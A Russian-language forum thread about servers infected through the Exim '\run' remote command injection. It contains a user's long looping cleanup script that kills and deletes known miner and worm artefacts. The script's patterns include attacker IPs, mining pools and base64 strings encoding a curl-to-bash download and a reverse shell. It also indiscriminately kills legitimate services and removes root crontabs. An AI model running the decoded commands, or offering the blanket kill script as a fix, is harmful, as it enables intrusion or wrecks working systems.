Спасибо! По логам тут по-моему достаточно grep {run rej*, по крайней мере тот вариант со zgrep мне ничего нового не показал…

С кастомным fail2ban Вы молодец, не зря свой хлеб едите) У меня вот их пропустило спокойно.

Впрочем, сам по себе пропуск такого письма судя по всему не должен был привести к поражению — локально оно бы сработало, а вот удалённо (в типовом случае) не должно было из-за включенного по умолчанию «verify = recipient».

Это не я такой умный придумал, а про 7 дней нашел источник, там эти и другие сочнейшие детали. А то все как попугаи про «по байту целую неделю» говорили, но откуда оно — меня интриговало…

А оно, собственно, из оригинального расследования — отчёта Qualys.

Очень любопытное чтиво на самом деле. 7 дней там взялись из необходимости в течение дефолтного timeout_frozen_after после отправки своего письма поддерживать открытым тоннель с 5-минутным таймаутом, так что раз в 4 минуты по байту в него кидали.

Иначе бы из заход порубился через 2 суток (ignore_bounce_errors_after).

Почитайте, прямо настоящий детектив :)

Так итог их сценария для "дефолного конфига" на самом деле подводится всего одной фразой:


but simpler and faster solutions may exist

И оно таки существует… У вас verify ACL что действительно отключен был? Кто-нибудь смог оценить сколько им на самом деле понадобилось (с дефолтными ACL)?


Т.е. qualys нашли один возможный вектор атаки (с помощью bounce) и развили его в возможный сценарий как оно при этом позволяет обойти дефолтные ACL).
Еще раз — проработали один возможный сценарий, при этом явно указав что вероятны и другие (проще и быстрее).


А в интернете как всегда притянули то что хотели за уши и теперь талдычат про «по байту целую неделю»… Ну-ну.


Кстати, кроме всё-таки несколько сложных вещей (типа упомянутого уже BO), я на вскидку вижу еще как минимум один возможный сценарий… тоже с bounce, но с глобальным .forward (определенного вида) или локальным .forward пользователя с привязкой к анти-спаммерам типа spamassassin. (Нужно в исходниках кое-чего глянуть).
Как минимум если "режектинг" спама реализован через deliver директиву (у exim фильтра директива fail через одно место реализована, поэтому такое сплошь и рядом).

Да, всё верно. Версия стояла 4.89-2+deb9u3
В очереди входящих сообщений exim лежит тело письма с инъекцией \run и совпадающее с датой падения сервера, у меня к сожалению малой кровью не обошлось, ибо продакшн.
В кронтабе тот самый вирус с загрузкой из хоста ТОР, файлы вновь созданные с группой Debian-exim. Изменен sshd_config, в папке рута и .ssh/authorized_keys c флагом immutable
Злоумышленники могут запускать на Вашему сервере команды от рута.


В debian ведь exim не от root запускается?
К сожалению, по Debian не подскажу. Выше привели ссылку на патч для Debian, там указаны severity=high, urgency =high; т.е. опасность серьёзная. Про рут однако не для всех случаев ясно, скорректирую фразу, спасибо.
Посмотрел у себя, используется Debian-exim. Но все равно лучше обновиться.
Добавьте, что если есть wordpress, то заменяются пароли от админки.
Спасибо за уточнение, добавлю в пост. От себя уточно что у меня заражению подвергся почтовый сервер, вообще без «веб-морды» — т.е. отсутствие WordPress тут не спасло бы.
WordPress есть, но пароли не сменились. Видимо, это уже какая-то модификация червя у Вас.
Словил эту гадость на exim 4.91 (CentOS 7).
проапдэйтился до 4.92 и никак не могу вычистить эту заразу.

По куче мануалов из сети создал файл kill.sh
#!/bin/sh
echo "Kill kthrotlds..."
while (true) 
do
	pkill -f kthrotlds
	pkill -f ksoftirqds
	pkill -f ldm
	pkill -f npt
	pkill -f ntp
	pkill -f ntpd
	pkill -f nptd
	pkill -f kswapd
	pkill -f onion
	pkill -f tor2web
	chattr -i /tmp/kthrotlds  >/dev/null 2>&1;
	sudo rm -f /tmp/kthrotlds
	chattr -i /etc/rc.d/init.d/kthrotlds  >/dev/null 2>&1;
	sudo rm -f /etc/rc.d/init.d/kthrotlds
	chattr -i /usr/sbin/kthrotlds  >/dev/null 2>&1;
	sudo rm -f /usr/sbin/kthrotlds
	chattr -i "/usr/bin/[kthrotlds]"  >/dev/null 2>&1;
	sudo rm -f "/usr/bin/[kthrotlds]"
	chattr -i "/root/.cache/.ntp"  >/dev/null 2>&1;
	sudo rm -f "/root/.cache/.ntp"
	chattr -i -a /.cache/  >/dev/null 2>&1;
	sudo rm -f "/.cache/.kswapd"
	chattr -i -a /root/.cache/  >/dev/null 2>&1;
	sudo rm -f "/root/.cache/.kswapd"
	chattr -i "/root/.cache/.a"  >/dev/null 2>&1;
	sudo rm -f "/root/.cache/.a"
	
	chattr -i "/usr/bin/["  >/dev/null 2>&1;
	sudo rm -f "/usr/bin/["
	
	chattr -i "/usr/local/bin/npt"  >/dev/null 2>&1;
	sudo rm -f /usr/local/bin/npt
	chattr -i "/usr/local/bin/nptd"  >/dev/null 2>&1;
	sudo rm -f /usr/local/bin/nptd
	
	
	chattr -i -a /etc/cron.d/*  >/dev/null 2>&1;
	chattr -i -a /etc/cron.d/.cronbus  >/dev/null 2>&1;
	sudo rm -rf /etc/cron.d/.cronbus
	sudo rm -rf /etc/cron.d/root
	chattr -i -a /etc/cron.daily/*  >/dev/null 2>&1;
	sudo rm -rf /etc/cron.daily/.cronbus
	sudo rm -rf /etc/cron.daily/root
	chattr -i -a /var/spool/cron/*  >/dev/null 2>&1;
	sudo rm -rf /var/spool/cron/.cronbus
	sudo rm -rf /var/spool/cron/root
	
	
	pkill -f ksoftirqds
	pkill -f kthrotlds
	
	sudo rm -f /etc/ld.so.preload
	sudo rm -f /usr/local/lib/libcset.so
	chattr -i /etc/ld.so.preload  >/dev/null 2>&1;
	sudo rm -f /etc/ld.so.preload
	sudo rm -f /usr/local/lib/libcset.so
	sudo rm -f /tmp/kthrotlds
	sudo rm -f /etc/cron.d/tomcat
	sudo rm -f /etc/cron.d/root
	sudo rm -f /var/spool/cron/root
	sudo rm -f /var/spool/cron/crontabs/root
	sudo rm -f /etc/rc.d/init.d/kthrotlds
	sudo rm -f /usr/sbin/kthrotlds
	sudo rm -f /etc/init.d/netdns
	
	
	
	pkill -f ksoftirqds
	pkill -f kthrotlds
	pkill -f tor2web
	pkill -f onion
	pkill -f hwlh3wlh44lh
	pkill -f Circle_MI
	pkill -f get.bi-chi.com
	pkill -f hashvault.pro
	pkill -f nanopool.org
	pkill -f an7kmd2wp4xo7hpr
	pkill -f "xmr"
	pkill -f "xig"
	pkill -f "ddgs"
	pkill -f "qW3xT"
	pkill -f "wnTKYg"
	pkill -f "t00ls.ru"
	pkill -f "sustes"
	pkill -f "thisxxs"
	pkill -f "hashfish"
	pkill -f "kworkerds"
	pkill -f "systemctI"
	pkill -f "kpsmouseds"
	pkill -f "kthrotlds"
	pkill -f "kintegrityds"
	pkill -f "suolbcc"
	pkill -f khugepageds
	
	crontab -l | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|91.201.42.5' | crontab -r
	crontab -l | grep 'pastebin.com' | crontab -r
	crontab -l | grep 'gitee.com' | crontab -r
	crontab -l | grep '107.174.47.156' | crontab -r
	crontab -l | grep '83.220.169.24' | crontab -r
	crontab -l | grep '51.38.203.146' | crontab -r
	crontab -l | grep 'mr.sh' | crontab -r
	crontab -l | grep '2mr.sh' | crontab -r
	crontab -l | grep 'cr5.sh' | crontab -r
	crontab -l | grep 'logo9.jpg' | crontab -r
	ps aux | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|51.68.173.240\|91.201.42.5' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kworkerdssx -c\' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/65ccEJ7\' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/jmxx\' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/2Ne80nA\' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '45.76.122.92'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '51.38.191.178'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '51.15.56.161'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '86s.jpg'| awk '{print $2}' | xargs kill -9
	#ps aux | grep -v grep | grep 'pastebin.com'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'aGTSGJJp'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'nMrfmnRa'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'PuNY5tm2'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'I0r8Jyyt'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'AgdgACUD'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'uiZvwxG8'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'BtwXn5qH'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '3XEzey2T'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 't2tKrCSZ'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'HD7fcBgg'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'zXcDajSs'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '3lmigMo'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'AkMK4A2'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'AJ2AkKe'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'HiPxCJRS'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'http_0xCC030'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'http_0xCC031'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'http_0xCC032'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'http_0xCC033'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep "C4iLM4L"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs kill -9
	ps aux | grep -v grep | grep '/boot/vmlinuz'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep "i4b503a52cc5"| awk '{print $2}'|xargs kill -9
	ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2"| awk '{print $2}'|xargs kill -9
	ps aux | grep -v grep | grep "2g0uv7npuhrlatd"| awk '{print $2}'|xargs kill -9
	ps aux | grep -v grep | grep "nqscheduler"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "rkebbwgqpl4npmm"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v aux |grep "]"| awk '$3>10.0{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "0kwti6ut420t"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep  "\[^" | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "rsync" | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs kill -9
	#ps aux | grep -v grep | grep " \["|grep watchbog| awk '{print $2}'| xargs kill -9
	#ps aux | grep -v grep | grep " \["|grep bash| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "158.69.133.18:8220"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'gitee.com'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep '104.248.4.162'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '89.35.39.78'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '104.248.53.213'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '93.113.108.146'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/dev/shm/z3.sh'| awk '{print $2}' | xargs kill -9
	#ps aux | grep -v grep | grep '/bin/bash'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep '\['|grep 'conflue'| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'netdns' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd |awk '$3>10.0{print $2}' | xargs kill -9
	#ps aux | grep -v grep | grep -v aux |grep "\-bash"| awk '{print $2}'| xargs kill -9
	#ps aux | grep -v grep | grep -v bin| grep sshd| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v aux | grep " ps"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs kill -9
	ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs kill -9
	ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v aux |grep "sh] <"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep -v aux |grep " \[]"| awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep '/tmp/l.sh'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kblockd' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'khugepageds' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'kerberods' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kpsmouseds' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kintegrityds' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'thyrsi.com'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'z9ls.com' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'curl'| grep 'max-time'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'kthrotld' | awk '{print $2}'| xargs kill -9
	ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'CnzFVPLF'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'CvKzzZLs'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '/tmp/udevd'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'YmFzaCAtaSA+JiAvZGV2L3RjcC80NS43Ni4xOTEuMTExLzIwMTIgMD4mMQ'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'dog2.6'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'sustse'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'sustse3'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'mr.sh'| grep 'wget'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'mr.sh'| grep 'curl'| awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '2mr.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '2mr.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'cr5.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'cr5.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs kill -9	
	ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs kill -9
	ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs kill -9
	ps auxf| grep -v grep | grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf| grep -v grep | grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf| grep xiaoyao | awk '{print $2}'|xargs kill -9
	ps auxf| grep xiaoxue | awk '{print $2}'|xargs kill -9
	netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
	netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
	pgrep -f monerohash|xargs kill -9
	pgrep -f L2Jpbi9iYXN|xargs kill -9
	pgrep -f xzpauectgr|xargs kill -9
	pgrep -f slxfbkmxtd|xargs kill -9
	pgrep -f mixtape|xargs kill -9
	pgrep -f addnj|xargs kill -9
	pgrep -f 200.68.17.196|xargs kill -9
	pgrep -f IyEvYmluL3NoCgpzUG|xargs kill -9
	pgrep -f KHdnZXQgLXFPLSBodHRw|xargs kill -9
	pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3|xargs kill -9
	pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo|xargs kill -9
	pgrep -f mwyumwdbpq.conf|xargs kill -9
	pgrep -f honvbsasbf.conf|xargs kill -9
	pgrep -f mqdsflm.cf|xargs kill -9
	pgrep -f stratum|xargs kill -9
	pgrep -f lower.sh|xargs kill -9
	pgrep -f ./ppp|xargs kill -9
	pgrep -f cryptonight|xargs kill -9
	pgrep -f ./seervceaess|xargs kill -9
	pgrep -f ./servceaess|xargs kill -9
	pgrep -f ./servceas|xargs kill -9
	pgrep -f ./servcesa|xargs kill -9
	pgrep -f ./vsp|xargs kill -9
	pgrep -f ./jvs|xargs kill -9
	pgrep -f ./pvv|xargs kill -9
	pgrep -f ./vpp|xargs kill -9
	pgrep -f ./pces|xargs kill -9
	pgrep -f ./rspce|xargs kill -9
	pgrep -f ./haveged|xargs kill -9
	pgrep -f ./jiba|xargs kill -9
	pgrep -f ./watchbog|xargs kill -9
	pgrep -f ./A7mA5gb|xargs kill -9  
	pgrep -f kacpi_svc|xargs kill -9
	pgrep -f kswap_svc|xargs kill -9
	pgrep -f kauditd_svc|xargs kill -9
	pgrep -f kpsmoused_svc|xargs kill -9
	pgrep -f kseriod_svc|xargs kill -9
	pgrep -f kthreadd_svc|xargs kill -9
	pgrep -f ksoftirqd_svc|xargs kill -9
	pgrep -f kintegrityd_svc|xargs kill -9
	pgrep -f jawa|xargs kill -9
	pgrep -f oracle.jpg|xargs kill -9
	pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN|xargs kill -9
	pgrep -f 188.209.49.54|xargs kill -9
	pgrep -f 181.214.87.241|xargs kill -9
	pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ|xargs kill -9
	pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj|xargs kill -9
	pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK|xargs kill -9
	pgrep -f servim|xargs kill -9
	pgrep -f kblockd_svc|xargs kill -9
	pgrep -f native_svc|xargs kill -9
	pgrep -f sshd2|xargs kill -9
	pgrep -f ynn|xargs kill -9
	pgrep -f perl|xargs kill -9
	pgrep -f 65ccEJ7|xargs kill -9
	pgrep -f jmxx|xargs kill -9
	pgrep -f 2Ne80nA|xargs kill -9
	pgrep -f sysstats|xargs kill -9
	pgrep -f systemxlv|xargs kill -9
	pgrep -f watchbog|xargs kill -9
	pgrep -f OIcJi1m|xargs kill -9
	pkill -f biosetjenkins
	pkill -f Loopback
	pkill -f apaceha
	pkill -f cryptonight
	pkill -f stratum
	pkill -f mixnerdx
	pkill -f performedl
	pkill -f JnKihGjn
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbnc1
	pkill -f ir29xc1
	pkill -f conns
	pkill -f irqbalance
	pkill -f crypto-pool
	pkill -f XJnRj
	pkill -f mgwsl
	pkill -f pythno
	pkill -f jweri
	pkill -f lx26
	pkill -f NXLAi
	pkill -f BI5zj
	pkill -f askdljlqw
	pkill -f minerd
	pkill -f minergate
	pkill -f Guard.sh
	pkill -f ysaydh
	pkill -f bonns
	pkill -f donns
	pkill -f kxjd
	pkill -f Duck.sh
	pkill -f bonn.sh
	pkill -f conn.sh
	pkill -f kworker34
	pkill -f kw.sh
	pkill -f pro.sh
	pkill -f polkitd
	pkill -f acpid
	pkill -f icb5o
	pkill -f nopxi
	pkill -f irqbalanc1
	pkill -f minerd
	pkill -f i586
	pkill -f gddr
	pkill -f mstxmr
	pkill -f ddg.2011
	pkill -f wnTKYg
	pkill -f deamon
	pkill -f disk_genius
	pkill -f sourplum
	pkill -f polkitd
	pkill -f nanoWatch
	pkill -f zigw	
	pkill -f devtool	
	pkill -f devtools	
	pkill -f systemctI	
	pkill -f watchbog
	pkill -f cryptonight
	pkill -f sustes
	pkill -f xmrig
	pkill -f xmr-stak
	pkill -f suppoie
	pkill -f zer0day.ru
	pkill -f dbus-daemon--system
	pkill -f nullcrew
	pkill -f systemctI
	pkill -f kworkerds
	pkill -f init10.cfg
	pkill -f /wl.conf
	pkill -f crond64
	pkill -f sustse
	pkill -f vmlinuz
	sudo rm -rf /tmp/wc.conf
	sudo rm -rf /tmp/sustse
	sudo rm -rf /tmp/php
	sudo rm -rf /tmp/p2.conf
	sudo rm -rf /tmp/pprt
	sudo rm -rf /tmp/ppol
	sudo rm -rf /tmp/javax/config.sh
	sudo rm -rf /tmp/javax/sshd2
	sudo rm -rf /tmp/.profile
	sudo rm -rf /tmp/1.so
	sudo rm -rf /tmp/kworkerds
	sudo rm -rf /tmp/kworkerds3
	sudo rm -rf /tmp/kworkerdssx
	sudo rm -rf /tmp/xd.json
	sudo rm -rf /tmp/syslogd
	sudo rm -rf /tmp/syslogdb 
	sudo rm -rf /tmp/65ccEJ7
	sudo rm -rf /tmp/jmxx
	sudo rm -rf /tmp/2Ne80nA
	sudo rm -rf /tmp/dl
	sudo rm -rf /tmp/ddg
	sudo rm -rf /tmp/systemxlv
	sudo rm -rf /tmp/systemctI
	sudo rm -rf /tmp/.abc
	sudo rm -rf /tmp/osw.hb
	sudo rm -rf /tmp/.tmpleve
	sudo rm -rf /tmp/.tmpnewzz  
	sudo rm -rf /tmp/.java  
	sudo rm -rf /tmp/.omed
	sudo rm -rf /tmp/.tmpc
	sudo rm -rf /tmp/.tmpleve
	sudo rm -rf /tmp/.tmpnewzz
	sudo rm -rf /tmp/gates.lod
	sudo rm -rf /tmp/conf.n
	sudo rm -rf /tmp/update.sh
	sudo rm -rf /tmp/devtool
	sudo rm -rf /tmp/devtools
	sudo rm -rf /tmp/fs
	sudo rm -rf /tmp/.rod
	sudo rm -rf /tmp/.rod.tgz
	sudo rm -rf /tmp/.rod.tgz.1
	sudo rm -rf /tmp/.rod.tgz.2
	sudo rm -rf /tmp/.mer
	sudo rm -rf /tmp/.mer.tgz
	sudo rm -rf /tmp/.mer.tgz.1
	sudo rm -rf /tmp/.hod
	sudo rm -rf /tmp/.hod.tgz
	sudo rm -rf /tmp/.hod.tgz.1
	sudo rm -rf /tmp/84Onmce
	sudo rm -rf /tmp/C4iLM4L
	sudo rm -rf /tmp/lilpip
	sudo rm -rf /tmp/3lmigMo
	sudo rm -rf /tmp/am8jmBP
	sudo rm -rf /tmp/tmp.txt
	sudo rm -rf /tmp/baby
	sudo rm -rf /tmp/.lib
	sudo rm -rf /tmp/systemd
	sudo rm -rf /tmp/lib.tar.gz
	sudo rm -rf /tmp/baby
	sudo rm -rf /tmp/java
	sudo rm -rf /tmp/j2.conf
	sudo rm -rf /tmp/.mynews1234
	sudo rm -rf /tmp/a3e12d
	sudo rm -rf /tmp/.pt
	sudo rm -rf /tmp/.pt.tgz
	sudo rm -rf /tmp/.pt.tgz.1
	sudo rm -rf /tmp/go
	sudo rm -rf /tmp/java
	sudo rm -rf /tmp/j2.conf
	sudo rm -rf /tmp/.tmpnewasss
	sudo rm -rf /tmp/java
	sudo rm -rf /tmp/go.sh
	sudo rm -rf /tmp/go2.sh
	sudo rm -rf /tmp/.censusqqqqqqqqq
	sudo rm -rf /tmp/.kerberods
	sudo rm -rf /tmp/kerberods
	sudo rm -rf /tmp/seasame
	sudo rm -rf /tmp/touch
	sudo rm -rf /tmp/.p
	sudo rm -rf /tmp/runtime2.sh
	sudo rm -rf /tmp/runtime.sh
	sudo rm -f /usr/sbin/kerberods
	sudo rm -f /usr/sbin/kthrotlds
	sudo rm -f /usr/sbin/kintegrityds
	sudo rm -f /usr/sbin/kpsmouseds
	sudo rm -f /etc/rc.d/init.d/kerberods
	sudo rm -f /etc/init.d/netdns
	sudo rm -f /etc/rc.d/init.d/kthrotlds
	sudo rm -f /etc/rc.d/init.d/kpsmouseds
	sudo rm -f /etc/rc.d/init.d/kintegrityds
	sudo rm -rf /dev/shm/z3.sh
	sudo rm -rf /dev/shm/z2.sh
	sudo rm -rf /dev/shm/.scr
	sudo rm -rf /dev/shm/.kerberods
	sudo rm -f /etc/ld.so.preload
	sudo rm -f /usr/local/lib/libioset.so
	chattr -i /etc/ld.so.preload
	sudo rm -f /etc/ld.so.preload
	sudo rm -f /usr/local/lib/libioset.so
	sudo rm -rf /tmp/watchdogs
	sudo rm -rf /etc/cron.d/tomcat
	sudo rm -rf /etc/cron.d/root
	sudo rm -rf /var/spool/cron/root
	sudo rm -rf /var/spool/cron/crontabs/root
	sudo rm -rf /etc/rc.d/init.d/watchdogs
	sudo rm -rf /usr/sbin/watchdogs
	sudo rm -f /tmp/kthrotlds
